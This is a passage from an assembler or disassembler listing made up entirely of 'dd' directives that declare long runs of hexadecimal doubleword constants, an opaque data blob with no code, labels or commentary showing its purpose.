0F525866Bh, 7F9A5595h, 0A363F7E0h, 0BABAAEB3h, 560ED81h dd 0EB52C4A0h, 0FBD04F61h, 22CDEAD2h, 0E49DAF2Fh, 6C6DA82Eh dd 15AC10D2h, 0B7AD72F9h, 11B6BF29h, 0B89EB0EAh, 0FABCB125h dd 8D950D0Dh, 0BE940654h, 0CDE9B18Ah, 0EA510A6Dh, 2E435EB0h dd 15CAEE8Fh, 0A0EBF321h, 0DF809AC4h, 197D0C64h, 83D33B76h dd 1447D495h, 0C70B2B05h, 9289115h, 0C6EAAEB1h, 2666826h dd 318C8354h, 50F46E95h, 3612A91Fh, 0C06EAFAFh, 0A12C0816h dd 1318C2CDh, 8BDE47AAh, 0CF7BE20h, 0AE0D95C5h, 0CB4DEADAh dd 0A425A86Ah, 0A026B447h, 0DABAF034h, 0B8DD2C67h, 0DFBF8C61h dd 9E077B40h, 0EFEBF575h, 0CA2088A7h, 0C4D9AAFBh, 6E7D68AFh dd 6FDA1AB6h, 0EAFAED73h, 0FABCFAA2h, 7D63628Dh, 5A937B1Dh dd 0E429140Ch, 536B51BCh, 0F53F289Bh, 6A06D275h, 2A1B8D13h dd 4040F931h, 0D36D7E7Ch, 9C20D8FDh, 0C1EB950Dh, 112A52F3h dd 88A37D4Fh, 8339A0Dh, 0D5D71618h, 2BACABAFh, 0E500DEAEh dd 452B14E3h, 0AAC5DA09h, 5721D970h, 6E54A566h, 0ABD885AEh dd 656379AAh, 0D4BE59EBh, 56BD0750h, 85CC25D4h, 63345ACBh dd 4C972FE7h, 0C5F40E6Ch, 0EEB04826h, 0AF5E9A67h, 0EC05104Eh dd 1123585Bh, 9700F6ADh, 89BBBC34h, 0E8DBAC8Dh, 0A5146DAAh dd 27603ACAh, 0CF62C8A2h, 36981F71h, 0C0ECC0F4h, 0BD71B2A1h dd 56DB7787h, 0E3D70986h, 0E7722EFEh, 0AB2F4311h, 0D85BA607h dd 0AEE9C426h, 0EC4ABABCh, 0AD5AF919h, 40A0E16Ah, 2BEC8F5Fh dd 23BAC66Eh, 4094D8DDh, 18318DBh, 6AE3D13Fh, 26E57797h dd 1E32B966h, 58CCFC42h, 0A1B8DD52h, 6A386376h, 0E648AAC6h dd 53406961h, 0A8FD9684h, 813529D1h, 0AD2A924h, 50E52B70h dd 0AFFCD2Fh, 7750D073h, 7DD1796Bh, 15EE6814h, 0EC61E750h dd 0A905AA0Ch, 38DC2EAEh, 0B688FCD8h, 2F3366EDh, 5C6E6A97h dd 0AADF1827h, 1CBF30DCh, 79FC0BC7h, 0A8ED3EF5h, 0C08EC5AFh dd 0EF5EBC58h, 0AA1A5B25h, 0FBCBBCD9h, 0C3DA8411h, 26A4EA0Ah dd 3A3F444Fh, 9FFB631h, 0F41FD99Bh, 75B9116h, 57B18BBDh dd 7DB63775h, 0EEA49676h, 0D1F9DED8h, 0A4C41C78h, 7D8C7084h dd 5BA8AC6Eh, 5F61A98Fh, 0E03D5BC0h, 0A1548A71h, 0F0A7D495h dd 239B09B6h, 751588E8h, 37873B5Ah, 0B7821B8Eh, 0EAEAA6BAh dd 0C867D9FBh, 4FE86485h, 884CCAC6h, 0A061176Dh, 8D4BD41Fh dd 317F37D8h, 0BB66EDC6h, 79B1B8C7h, 0E30E3D3Dh, 1597B66h dd 6862F875h, 61F79525h, 8B1BED7Dh, 0A47E7881h, 8DD2EFF5h dd 0C6607828h, 9097B9A4h, 0E656AE6Bh, 42343342h, 2D4D5F08h dd 5A681D0Dh, 2A04D35Fh, 0EA9AEB6Bh, 7D7C81EAh, 12E1FC68h dd 0B1F2ED36h, 7CD908AAh, 638D8FACh, 0B47BAF86h, 0F71227D1h dd 313291DFh, 7C8A1ABFh, 2FBDC503h, 31B45F12h, 5A95BF84h dd 922096A0h, 52D0DF4Ch, 54EE3919h, 4AA11D72h, 41EC306Bh dd 37A9BFDEh, 0EF1BEBB9h, 4101A887h, 617D86C2h, 20892658h dd 0D7ABF350h, 4685F749h, 1CA1B3DAh, 1B2E1860h, 0E36FFB19h dd 0EC140E57h, 0B9739425h, 0DEC60E79h, 6F4A4D0h, 76A4B9F0h dd 188B5423h, 9630E631h, 0C0C28FA3h, 0B2BAB0B9h, 5A6DB181h dd 0FBE6F09Dh, 8DD60367h, 0BD8CCF5Eh, 56D77463h, 2A79E755h dd 8BEA4B1Bh, 76B13AA5h, 656816D1h, 8799702Fh, 0BCC90D4Ah dd 0AD108633h, 0C00F5EA4h, 4C1AEBD6h, 1B321684h, 96A86FA5h dd 2C5611EFh, 0E55A4215h, 0E5AD062Bh, 1687AA2Ch, 51C1BEF7h dd 0BAD114DFh, 0AFBC8418h, 6D050616h, 0F94C2B89h, 4D558C1Eh dd 0D16D4630h, 611EBED6h, 5434F430h, 613DEB8Ah, 9636DF3Fh dd 6C6E5634h, 0C526C3AAh, 329D8C91h, 84A3A038h, 740EFCFDh dd 0B4FD1A45h, 2A74B575h, 3C1C4AABh, 0A58C0FD8h, 5810550Dh dd 0F13C81A7h, 5DD26FD4h, 0EAEF1A46h, 21822BEEh, 0CF5CC18Bh dd 0CC31E209h, 43584D77h, 6450129h, 0ED75BB30h, 0D42368B7h dd 5F0E117Eh, 0A5B5A9CCh, 0AF50F5A2h, 0C21BF58Dh, 0E45B0D7Dh dd 0FBFAFA92h, 15A406A5h, 0D4352155h, 0D42758E2h, 0B2283E45h dd 6385F7F5h, 0FAB8F4D4h, 3EFF7806h, 0AE74F5D0h, 1DC8B6C2h dd 2D8CB850h, 0FA26DAD2h, 254E115Bh, 14E3415Bh, 0DBA83374h dd 0FAE286A3h, 7FBE50E6h, 0EE4CA34Ch, 0DDA0F5FAh, 2425636h dd 0C9FA7060h, 7B373865h, 6A8B7094h, 72435045h, 2E1163D9h dd 0B929FB37h, 0AA6E5860h, 89FDCD07h, 0FD9B9708h, 0CF985C8Ch dd 0A15FF65Ch, 5FB3777h, 6F5717BDh, 0AFD97294h, 0F66EEF42h dd 0BBD77A6Bh, 97089ECEh, 0C3C93D9Bh, 0F265E06Fh, 9205D854h dd 0E7A84969h, 6D15C962h, 84F2A2ACh, 0DCAECAh, 0A18D977Eh dd 0E5C758EAh, 83B4E058h, 0DA343771h, 147E6C71h, 9D9868A6h dd 0B66E30E3h, 5A235C26h, 0C61958DBh, 7927A92Ch, 8CD70AE0h dd 0F2C19986h, 0B4EAEB2Ah, 9A95448Ah, 0B7C6937Dh, 3FA8F5FAh dd 0AF33E42Dh, 86DABABCh, 8D95F575h, 467C3E30h, 0E7774152h dd 8C958A57h, 4E234BBDh, 0A077D3D8h, 5C5C849Dh, 8336E790h dd 11EC3B0h, 0EF7A0C1Ch, 0D2051523h, 9EE188F0h, 0DE3ABADAh dd 7A1DA48h, 872644D6h, 92FA09FDh, 0EE8F81B4h, 0CACE729Ah dd 6EE3F2B4h, 0D61E551Ch, 32562E7Bh, 318D33FBh, 52CB9A9Ch dd 0AB1A8E78h, 29846BEFh, 0F668695h, 866E6C80h, 69155B59h dd 0AD7FA810h, 210E970Eh, 0AB98825Eh, 97B33178h, 0DBD6B470h dd 4DFB8C3Bh, 92B506Ch, 0FBE4D3E8h, 2C86EE63h, 47D50171h dd 0FC53D6E9h, 4DAB9277h, 0BFAE365Bh, 53D49AA7h, 0A11D8928h dd 45A5C4FEh, 34977B15h, 740C2D20h, 0FDB1CAD7h, 4188DA1Dh dd 62790F93h, 3E515D63h, 0C6E888E8h, 4AE00D49h, 0D891D72Ah dd 0BD6B0828h, 82D0D5C5h, 0B03D73D7h, 0CF0B61BEh, 81E580A7h dd 686C2AFh, 0BE591B50h, 959D46EEh, 82935182h, 13636739h dd 424DA09Fh, 7032248Eh, 24397AACh, 0B58E715Dh, 620C6B15h dd 83F5D5E7h, 374A9E50h dd 3547AED6h, 6FCB2F6Fh, 249AD4ACh, 0D5978BE9h, 3E4B3C4h dd 0FA84A3D9h, 0AB838861h, 9B16A9B6h, 5853A94Ch, 87764BA1h dd 0CFCE1B36h, 840E7C63h, 0E65CB58Ch, 13835EB2h, 6D45EBA8h dd 0AEDD8011h, 0BF9A13B5h, 0C30CC889h, 9841B485h, 2D1DE88Fh dd 3C7FEB97h, 50CA2E60h, 89CE8F1Eh, 1844F8CFh, 0E2CC74D1h dd 512D22FCh, 9D6EB093h, 7391CD95h, 1BF5F5E4h, 0D3EEEAAAh dd 1B4FD53h, 0F5EAEA07h, 0D0E66A12h, 0D637D750h, 0CB748036h dd 0C75F5CAFh, 0F5E1603Eh, 0E0BDCB83h, 0BFA061Ch, 39684375h dd 2D7441ECh, 0B71BAA97h, 24EB2AB8h, 2358A852h, 820BB0E2h dd 0C09C4407h, 853694F4h, 483556E6h, 0F408C6C7h, 2E85565Ch dd 9162399Eh, 3185D6CBh, 0DD1DA3E4h, 0A96C6090h, 0FF20825Ah dd 362A0A98h, 68EF962Dh, 0F0E9C2BEh, 7C68F1EAh, 6A4DD0EBh dd 65BCA62Fh, 35A1CA7Ch, 0B9498D37h, 18E4FA1Bh, 0ED73C03Fh dd 0D0DD78B8h, 20312227h, 73B8C6F7h, 2BBE6E59h, 0D57A1D7h dd 53D39913h, 6C27575Dh, 94888C86h, 0B0A1674Ch, 26145744h dd 0C784B81Bh, 69717071h, 0B32A7E51h, 0CCE13F42h, 55B54B16h dd 7746D278h, 126C6D17h, 26A2372Bh, 0AB2D9A73h, 1DE686ABh dd 147636AAh, 646AE131h, 5AD575F5h, 0D776360Ch, 0B29CF65Dh dd 0DC8E95DCh, 32F73995h, 86E313F6h, 1BEB0DEAh, 2C5D7A0h dd 40281525h, 0A3CA4228h, 300D948h, 0F931FB24h, 0D51A00D9h dd 4A06F863h, 8C87630Eh, 6236DD20h, 0DBE1DFC0h, 8CB40F7Ah dd 0D4D8CE7h, 86B17A90h, 3AB882BDh, 245FEED4h, 0ECFC282Ah dd 3186F4F7h, 0AA2AC1BDh, 0E0ABCF49h, 9DA35F5Ah, 371BBFB1h dd 0EA226FADh, 0C28DF13Fh, 80A8647Eh, 0F98A5AD7h, 0F58AC453h dd 0EC81D61Bh, 0C0A869D8h, 66C6FAA9h, 61429A76h, 1BD01FDCh dd 0F18DD3C6h, 22CE8250h, 8078D28Eh, 3F3E46E2h, 0B10B0232h dd 0A0CA137Eh, 369B1A3Fh, 0AF660969h, 0D4268FA3h, 308DB2F8h dd 0CDE2D7D0h, 8439488h, 9B182F4h, 5F046F58h, 3491467Dh dd 0FD13BF4h, 4331E6D4h, 0CAA6D345h, 0B1896C75h, 58484F86h dd 2686B1B9h, 1AC6552Eh, 0AD99EA11h, 9CD0D633h, 0A1AC6DC5h dd 0D3104EE9h, 90FBA944h, 9A698C52h, 84D8AC63h, 7764CE51h dd 56E14055h, 0A4DEAC6Ch, 560E4C97h, 42DCBCC8h, 1ED11A8h dd 0AC645355h, 750CA906h, 0A0A3B100h, 4EC51E41h, 128ADE57h dd 594AC6DEh, 0D4BC0545h, 0DF6F246Fh, 6F685431h, 906D306Bh dd 54358C6h, 0A71015B6h, 0DBFB401Bh, 7767C950h, 0CA8AB04Fh dd 24D4AF2Ah, 0D554D456h, 68DE6336h, 0BD73424Ah, 63531423h dd 0D6CC3375h, 45236DF1h, 977A47FAh, 0CE611A1Ah, 51306F8Eh dd 9D509F63h, 0AB2E7A71h, 19BCDBC8h, 121C4A46h, 0B19EBD35h dd 0E6CED029h, 8533308Ah, 0E7D4D444h, 0AE694E4h, 0DEF2B39h dd 62FADF7Fh, 9F0131DBh, 0D130CDCFh, 9E1D3DF7h, 801EF701h dd 6F1B007Dh, 3363B035h, 1756FD70h, 0EB4B1508h, 880B75B5h dd 0C7018A84h, 0B9236958h, 0EAB975B5h, 0EFF57626h, 0BFD5DFEAh dd 0FF577FABh, 0FD5DFEAEh, 0F577FABBh, 5FBFB2EFh, 0EA6CCABEh dd 0E16D836Ch, 0BCD831Ah, 0FF9C0320h, 0F5ED832Fh, 4BB60D0Fh dd 0E0EDA356h, 67EDA329h, 44F95C1Fh, 4AD1EE3Ah, 8B64D5BCh dd 81BDA003h, 676C98B7h, 0F600FA00h, 0D806EC03h, 0B002D001h dd 9001C016h, 60009001h, 0D9B81806h, 700E3B64h, 8019E018h dd 2D009Dh, 25801Eh, 710029h, 17C04923h, 60E00FA0h, 961FDF12h dd 0EAE096C7h, 0B987BB16h, 0A32B2159h, 4C3DCF4h, 12B27378h dd 0B11582B6h, 0E0316CA5h, 6612B604h, 118045EDh, 0A8E83E58h dd 4DD48C25h, 45B02508h, 3088B7E0h, 425F40A5h, 870852F8h dd 2E4B9161h, 1C4096E0h, 40A420CBh, 5E232E71h, 6D395002h dd 0D7C9F119h, 7378C1E2h, 50017429h, 0E76F1116h, 0DE8C6915h dd 8A5C45Ch, 0E394F3C2h, 56DE139Fh, 757F0500h, 172E246Ch dd 6E53E77Ch, 923BC49Ch, 3C832E16h, 9B73C1F2h, 0A98C784Fh dd 0FDC77204h, 3177052Fh, 0C72E9E5h, 942977A6h, 86568169h dd 25687548h, 0AFF4425Ah, 0F4BCE8A2h, 8EB8774h, 0CA02BCF3h dd 797E172Ah, 45B4C27Ah, 0D8E7C580h, 3473D2BAh, 38F4FEB6h dd 5A109Ch, 54758AEh, 5715CB94h, 0D61FE1A0h, 0E057D979h dd 0E733D6C6h, 74E45C5Fh, 0CC5D2D16h, 0DC8285F2h, 6B4025D2h dd 1AA2B0DCh, 56840FBFh, 999B19DBh, 0C172B192h, 99263702h dd 75A7AD2Dh, 93DF110Ah, 75569688h, 5494CCC7h, 696E03FEh dd 1FF0BC01h, 3D94DB0Ah, 15262713h, 99FCDC8Eh, 4F40D955h dd 5CDD525Ah, 90E4975Dh, 0AED5D5D6h, 8AB5C24Fh, 6732847Bh dd 54C0AC9h, 0C9657FE4h, 0A5A2DC8Ah, 1516CB05h, 0DD233895h dd 2FC24BC8h, 2B79650Fh, 112DC84h, 5614EF12h, 801584B8h dd 0F270B2C1h, 4525BCB7h, 76C852C2h, 441292EEh, 162DCD2Dh dd 0CB05E858h, 0F20CB722h, 5DC92CEBh, 87C844B2h, 8D566638h dd 803C61C3h, 6A9B994Bh, 379F4B4Fh, 7733233Fh, 0CE141E51h dd 0EFBBC2E2h, 58EA5E29h, 0D4A4A2BEh, 46595EE5h, 7EF1BA33h dd 0ADA55978h, 1FD8C6FCh, 3B843F2Ah, 0E81D8A4Ah, 0D7A63567h dd 0B82F915Eh, 0A84F28Ah, 790A561h, 0C85253A5h, 0CDE6D352h dd 53DBB34Fh, 9F9FCEE7h, 0FB0E0A9Eh, 0A5A6705Ch, 379D4BCEh dd 842E7337h, 9A919B99h, 0CA7E7F3Eh, 9E91F43Ch, 2F399A96h dd 7A4A6E63h, 7CCA667Ah, 297D49F0h, 5359DA1Bh, 258AE963h dd 96C50F78h, 931BDC26h, 0E6C4530Bh, 5D373E4Ah, 5A216D24h dd 6A12C17Eh, 1CCB7918h, 72138245h, 0F94DCCBDh, 84E50BBEh dd 5459C8B0h, 92BF9022h, 896162A2h, 74B25050h, 5EF43B99h dd 898A0CB2h, 0B451C5EAh, 0A7E28042h, 0F95E2F2h, 3F44ECE5h dd 842505B9h, 0B97ADDD7h, 6C3CEFEBh, 0E862543Eh, 4A34959Dh dd 0AD35ADBCh, 4F82F6A6h, 0CD58D8ADh, 97F61794h, 733EE575h dd 463AF174h, 3E80DC5Fh, 6B7E2279h, 592C3C84h, 0BB8F7796h dd 0E2C98490h, 2A62FCFCh, 4B659287h, 5DBCA584h, 0D8CEAB68h dd 0DCCE60CCh, 18DD5CD8h, 0B9A2C6DAh, 48CD4B19h, 9F619F99h dd 979CCF6Bh, 2535373Eh, 0BCDE7D33h, 0F9D4F4B4h, 7369E969h dd 0C0D333D3h, 5A5A6A5Fh, 6E6D3D8Ah, 0FCFB5CDAh, 32F379CCh dd 19EC32D3h, 33509969h, 0E9F9EE0h, 5A667B74h, 9494FCFAh dd 8BAA0CB4h, 19A91979h, 409919E9h, 0AA1F3B98h, 37329EC7h dd 0A7B02205h, 4DCFA5A5h, 669A979Bh, 0DAF9AC67h, 0FF16F717h dd 90AFF922h, 0FE9969Fh, 0AC161E42h, 0D4BE4686h, 0F8AC2059h dd 0EFBD9FFh, 0B68A2AC0h, 2414DDDh, 483A1242h, 685A10F1h dd 0A42F7B61h, 42108101h, 0A4215D0Ah, 9391A4Bh, 8A8BA51Dh dd 8A8A028Ah, 2A204288h, 89A505Dh, 820A020Ah, 7E28888Ah dd 28A8A8A0h, 9488A8A8h, 3D9ECCFBh, 7E2049C9h, 0FBDFF7DFh dd 7F7BBF5Fh, 0DDE64E16h, 0D9D999D9h, 0BCF2DE77h, 11BBB3B3h dd 28524329h, 56578EFBh, 66717166h, 0E64C6B86h, 0A1495744h dd 0BC7320ABh, 3D2D3F2Bh, 0D320B727h, 56939E15h, 0AD3E319Ch dd 1715D338h, 0EEE0EAE3h, 992EBF5Ch, 82415479h, 0F1543942h dd 479154ECh, 9BC1A5D0h, 0D4DE0E37h, 42ED87FEh, 9346E0FDh dd 0D3A478DFh, 9E9514C7h, 0AA425C59h, 0C4765E13h, 0AAD1BB2Fh dd 7AB2F8F2h, 1F1B687h, 65D9C72Dh, 39D857A6h, 0D8B7A5B2h dd 2BF868B6h, 0F9AB57C2h, 0DA4BAD06h, 21EFC7D8h, 0BA2FF179h dd 6B0ACCF6h dd 0EADC5210h, 78479D84h, 4EF10F1Fh, 8A58E48h, 88B9BBF3h dd 0FAAB749Ch, 805D89Fh, 925F6D9Ah, 0C6A7FAE3h, 2BC2443h dd 0C727EA41h, 5B775h, 1D90B21Bh, 174FCB6Dh, 12E222FCh dd 1CDB6CE2h, 91DB0497h, 95CB609Ah, 0BB00C2DDh, 1ED5DEA3h dd 0A7FA3DD1h, 0FEFD93A5h, 0F93E6384h, 9965B3C8h, 80542908h dd 37CA20D8h, 0D26CC88Fh, 0DEC894C8h, 44CEEDBDh, 4948480Fh dd 489F101Ah, 0EA4002EEh, 2406E393h, 8FF6A424h, 697FC8F2h dd 62EE6D84h, 82F4FA13h, 4A4D8B15h, 194B3184h, 57FA78C4h dd 196AA335h, 0EEB61CE8h, 0B2D54FE4h, 0F88ED114h, 55A5CF48h dd 49157F5Dh, 480D2625h, 63622B01h, 0C7C5C57Ah, 0AA8396DAh dd 0BF6479Ah, 5DC84B8Bh, 0B97BC20Eh, 37684073h, 57E3DAFCh dd 0DF323F0Fh, 83DC9BD4h, 50599718h, 710C999Ah, 416FB4CAh dd 4A489D10h, 8789888Eh, 65664782h, 0BA18C5C5h, 69A1AE49h dd 4DDFE9ECh, 0BB20FF5Bh, 7EB80599h, 14C8BFF8h, 2608CC8Ah dd 0DCA38B0Fh, 90C906F0h, 3406375Bh, 1A862139h, 51C9328Fh dd 68C15409h, 470C0BF8h, 13490141h, 5AE87CA8h, 2A24C8FFh dd 0F1A48F3Fh, 31C298D4h, 0FD01BF54h, 606331A8h, 518723D7h dd 9A480A63h, 93718D40h, 27BA8E34h, 26FAA28Dh, 73135026h dd 51C5C691h, 0E388664h, 1B42F7EDh, 97BA7293h, 0D2E3278Ch dd 0E9D08527h, 4C9D3605h, 236FA145h, 5217E741h, 0FD3EB0D4h dd 49367729h, 319CA8E3h, 0A543ED24h, 2FC68B0Eh, 8A4D4A8Ah dd 97908AA3h, 8D43149Ah, 0F701D721h, 3E4B9596h, 4A8BD8AEh dd 27264C86h, 0A9495145h, 1A4A9FDh, 5C22A883h, 6F4A625Fh dd 4931746Ah, 0F402A8A3h, 63E213Fh, 0A045D03Fh, 8BF11363h dd 901746A3h, 20E04A99h, 83322E78h, 6F029719h, 0E54C949Dh dd 257B0043h, 1E2FC7F5h, 0A2FC68BFh, 9262ACA8h, 39914917h dd 61E4D8E1h, 0E9DA954h, 8A497F05h, 34931673h, 0D3B34A95h dd 0CEC8AA64h, 4E482A07h, 90BD2A4h, 0F03F003Dh, 0FBA10274h dd 2479E953h, 720AA78Dh, 2DEB8A49h, 2A1F6920h, 4A81DC9Bh dd 0A6654DEEh, 0E517B493h, 58D2471Eh, 236EC32Ah, 0DBB74A86h dd 6346A68Fh, 0CDFC1F3Fh, 38D1BD45h, 8C4D9917h, 0A514B5C5h dd 2A923491h, 77644498h, 3C693518h, 0E4530749h, 426C657Eh dd 0DA42552Ah, 224EBC87h, 0CFD012E5h, 5226921Ch, 40F2EDA3h dd 0A97D0919h, 0A877D25Ch, 9268F66Bh, 44254702h, 0A54517E3h dd 48FD9295h, 8A4EAC8Ah, 2FC54D89h, 252BCA99h, 97953C74h dd 8A68D24Bh, 0C4C779CCh, 0C3915246h, 7630EF80h, 32365113h dd 66952869h, 17F38A7h, 137B2149h, 8D4C9A49h, 40E9234Dh dd 0A49F30AAh, 7B7CA803h, 67953FBFh, 91CC871Fh, 0FA926EE7h dd 9214F751h, 4B1B7D14h, 0E5D8C52h, 1950FB49h, 7E0A4893h dd 96349365h, 0D24D1BCAh, 768DCA28h, 7BBF1D2h, 6CA3A6EDh dd 33391A5Eh, 79C589E8h, 58C4DE36h, 0A78D4B0Eh, 7064086h dd 0F67901C5h, 0C052A24Bh, 2B9C14F7h, 0D298D705h, 575C3F07h dd 0C87F644Ah, 0C0DB5018h, 7E392A38h, 0FDC9510h, 9F320CC8h dd 590C9A94h, 4FF5BC83h, 0FBE312A6h, 1BC88951h, 0C7F57E80h dd 17EFF698h, 8A0FC543h, 6B00AE83h, 0DD0BE80Eh, 90E2A148h dd 2C6867DFh, 0A1F607D5h, 0AA20D24Fh, 0D8D21C4Fh, 6A77AA28h dd 80D7AA5Fh, 0A84B6264h, 5481D4D8h, 3BF00A6Ch, 0ED063A14h dd 0A2BE4345h, 77AA3751h, 9E24F412h, 44DC848Ah, 0C547EAF6h dd 0D9E482C3h, 0AA0D440Bh, 0FE2097A3h, 9268EBC0h, 0D20BB373h dd 918B4A4Ah, 0F131EC4Dh, 0E2C4A527h, 9E3F8DDh, 0CAB183E8h dd 212F4D28h, 0CA4A92A6h, 0EB9A5B1Ch, 0C40025CEh, 0AE298FDEh dd 9142D258h, 1B27D80Ch, 0D2E9746Bh, 0EB3E5C5h, 2BB3BC2Eh dd 2F372D2Bh, 0BADA333h, 8E7AEA47h, 3783B557h, 78CBB114h dd 0C55DC527h, 170E899h, 0B926683Ch, 0DB72EAEDh, 8A2A9E77h dd 0D0DF652h, 0D884A735h, 86540EA2h, 1EF4DBEDh, 0A2B4C2EEh dd 6A7182CCh, 6A20016Ch, 69A65161h, 0BFE776DBh, 4E67F04Ah dd 5B914949h, 0A2DE41EDh, 2484D36Bh, 0B332D2Bh, 67C7BA4Ah dd 0E4976416h, 0D696F7C0h, 6FBC4BAFh, 0C4C880F2h, 0AA37BB48h dd 9C29CC2Bh, 5B9D9B91h, 9C579692h, 9111E40Bh, 23DF985Eh dd 949193C6h, 0D2539D9Bh, 80B33B23h, 5620C4ACh, 0BFE3CC3Bh dd 0D236FDFFh, 332F883Ch, 0B33D373Eh, 5FF99DC0h, 0B77BC76Eh dd 893B6ABEh, 0F9D969C5h, 0A0ABAA69h, 0F03A7BB0h, 8DC92648h dd 67774426h, 43D569BDh, 77429F54h, 85B2EA89h, 9DA4072Ah dd 76966E47h, 0E2B5C48Fh, 0B48DE208h, 0BCBCDC8Ch, 0FEA498C2h dd 9A08983Dh, 522B2014h, 0AD2C708Ah, 1452B3C8h, 0A647B69Dh dd 0BCFC84EBh, 3372556Eh, 0BB33F372h, 1AC9F2B9h, 0E2B4A2A6h dd 99C51E92h, 4650A164h, 0E6495737h, 5D1E9284h, 6C7798D0h dd 0D54162C8h, 34568D93h, 0DB643A57h, 9462599Dh, 97756496h dd 40712E51h, 13400A72h, 93EAE7F9h, 0EDE89292h, 0C2644DCBh dd 0F2AB83E6h, 0C6615440h, 85D33B44h, 492FBB4Ch, 0C3245999h dd 6A5C0C85h, 425E5A6Eh, 0CCE8FE69h, 7704D762h, 0DEE4AAEh dd 0DC136119h, 2447AA19h, 6E0ECCC3h, 0CC53E5B4h, 17A5CB69h dd 5FCEEAFBh, 0E52AE54h, 1BDD49B5h, 0EA2FF754h, 69D650DFh dd 0ABABC323h, 0A2B7517Fh, 0AD27538Ch, 579FFF38h, 71542CAAh dd 8D6499ADh, 46667A5Ch, 352FA71Fh, 0DEA9705Fh, 15C2C6E3h dd 0C6BB90EDh, 97FEC819h, 70B1B9DAh, 85193B45h, 0C8F20BE3h dd 62BFA3BAh, 9F21657Ch, 7662331h, 0E397FBFAh, 3D3194E5h dd 0C59D4A75h, 0C5517F03h, 3CE2A45Bh, 0FB1B5E45h, 0CA2A9517h dd 3D036338h, 0B3C92DC8h, 54D64517h, 0C82DCECFh, 4AC233CDh dd 0F5859010h, 0A91FF1B0h, 0AF2FE63Bh, 0B5C54C68h, 0B0E70BFCh dd 0E729546Bh, 734A2DD4h, 1617C7BBh, 25D5FC67h, 757C4539h dd 86E99FE4h, 0FA50FD7Dh, 0E05AB702h, 0F5AF0D66h, 1A399F1Bh dd 0E56B254Ch, 210C2A23h, 0DC45EECh, 864D1156h, 3CABE7D9h dd 3B51DA0Bh, 0BB2DC1B8h, 48218F55h, 0DD968AFh, 0E69F97E3h dd 7251C08Eh, 38B0A228h, 0B81636DBh, 0CC2F4E8h, 9847AD74h dd 6BC436Dh, 5C9D9BC4h, 0F79E1132h, 2C056BDFh, 571C9AF0h dd 9611866Eh, 0B987419Bh, 0C5A90E9Ch, 46258585h, 0EB94ED18h dd 0D066E051h, 217EC76Bh, 0CAEFB3C3h, 32CCCE29h, 9A91DAC2h dd 0E9D73C3Dh, 0F7F98AF0h, 41EBE579h, 0D0363CC2h, 13FF9A7Bh dd 5C7B0B57h, 0FA7AEACDh, 0ECA9918Ah, 11F1F8EBh, 1BB39E3h dd 1E99A696h, 27C7FA43h, 0CF778DDBh, 8494D675h, 0F8CBD4F9h dd 13ECF5E7h, 40DDD5EBh, 0F71FB195h, 0A7875CAFh, 2C3AF79Eh dd 0F38D7094h, 0C234158h, 0E5CC26DEh, 2C2354BDh, 7757A535h dd 6D32CC39h, 4B9595FFh, 0C988E4E6h, 95341370h, 0C42DC249h dd 0C4F9BE00h, 0FAF15667h, 0A1AB0515h, 55506A01h, 0AE515EAFh dd 7C47B79Ah, 2A448158h, 93A0F8CAh, 9C5855Eh, 67C42985h dd 0D72F18D9h, 52AD2EEDh, 0C8AE2A94h, 0EA8F52ABh, 22E6EEE0h dd 18B03C13h, 11A8D794h, 7B1547Eh, 0C4377D76h, 9954A29Ah dd 0C6DFF0A6h, 9F3D865Ah, 58099253h, 5B2F6257h, 3CE4501Ah dd 835142B6h, 12E212E3h, 0E0EC5362h, 9CED83D5h, 7544E01Eh dd 92EBB83Bh, 0AFCF5673h, 0EEE981C4h, 8E0F52E2h, 0E5EDF677h dd 444D0E2Eh, 0A5963EC6h, 0E93B9ECCh, 0E54B8891h, 0A7DB837Ch dd 62B4F9D4h, 0E754639Eh dd 0DE4D1647h, 6EDBEDC8h, 41BCE7CFh, 5EDDD495h, 0E179EC3Eh dd 9A3DD3D0h, 0BC6F8D05h, 0EE5D94FFh, 7F22AA63h, 28DA109Eh dd 0F15B99CDh, 67A9CDE6h, 0BD247DD7h, 3198EF9h, 5E070AD7h dd 691698E2h, 0F15C4FF5h, 0ECFE45D6h, 7D87CFE1h, 8098CB6h dd 0FB1D271Ah, 0CFEB6A21h, 8E3F4321h, 8592590Ch, 0FABF057Eh dd 0A517DF42h, 4587AF03h, 0F36A2934h, 0A7A8D5FEh, 7B76054Fh dd 24B1BBB5h, 6F97636Bh, 0ED6F8259h, 0CA9AD8A9h, 8E5D885h dd 62941BB6h, 8C099A4Fh, 45D992C2h, 5E381641h, 95912566h dd 68944564h, 5E38E64Eh, 225A0494h, 0D1B173F3h, 310949D1h dd 287B1304h, 8BAB1E7Bh, 0BF89BF3Dh, 0D4695979h, 7420253Ch dd 2B237E02h, 65267616h, 9102CFDAh, 0C5CA9F79h, 9275889Eh dd 19F64210h, 2D48DA4Ch, 0ACF0CDCDh, 93A5F300h, 94155C89h dd 2A8DC478h, 2E2F4A2Eh, 81AB3DE1h, 93BBB83Ah, 69F1502Eh dd 0CEA5D905h, 314D357Ch, 14714B14h, 4894094Fh, 294C9449h dd 45152454h, 35F7DB45h, 4A5A69ECh, 11507AA5h, 246A7754h dd 0A91D5165h, 6737C97Bh, 1FDB9EDh, 0B47AECF6h, 0CC812773h dd 0F29993FCh, 42DEFB44h, 0D01EE71Fh, 2311B6CDh, 0AB444622h dd 8AF6D9C0h, 42DCA8CEh, 0D7D8C77h, 7195FB95h, 8C6E178Fh dd 443C2EF0h, 414F08F6h, 5DF3BCAh, 9FD5525Eh, 0E9EB22C5h dd 0CFE911FAh, 2CCF58E3h, 0F38D780Dh, 9A19F626h, 191D171Ch dd 3714931Fh, 0BA269628h, 0D56B6053h, 0B202DCE0h, 2A9ECE4Ah dd 3E07CE4Bh, 131C941Eh, 3D826831h, 985716B7h, 0E71A3A5Ch dd 91B4E11Ch, 34511FDCh, 42B1DB8Eh, 4C5C7274h, 6F3F725Ch dd 0C69F64FBh, 8E4E0DB5h, 4CCBCE8Ch, 0B22D282Bh, 3412E4E9h dd 82E4E849h, 92D4A2FCh, 0B901BCDCh, 0F9D10919h, 0D1FBBE45h dd 0EC837E64h, 0C004EC7h, 2B6FD727h, 0D23CB56Eh, 910FE24Bh dd 6B945697h, 742E6C0Fh, 34773F3Ch, 8A6519E3h, 4766EF1Ah dd 6E19577Ah, 61CCF78Ah, 3FCC7DD5h, 0F2680974h, 8F6B8126h dd 2CE87FAh, 0B94D564Dh, 9687F817h, 64DF2680h, 0FF71F3FDh dd 0E4D00CD0h, 910DE2E5h, 7C9A089Fh, 6827ADADh, 0D06D741Dh dd 0F6E822Fh, 0EF4083Ah, 3740F5D0h, 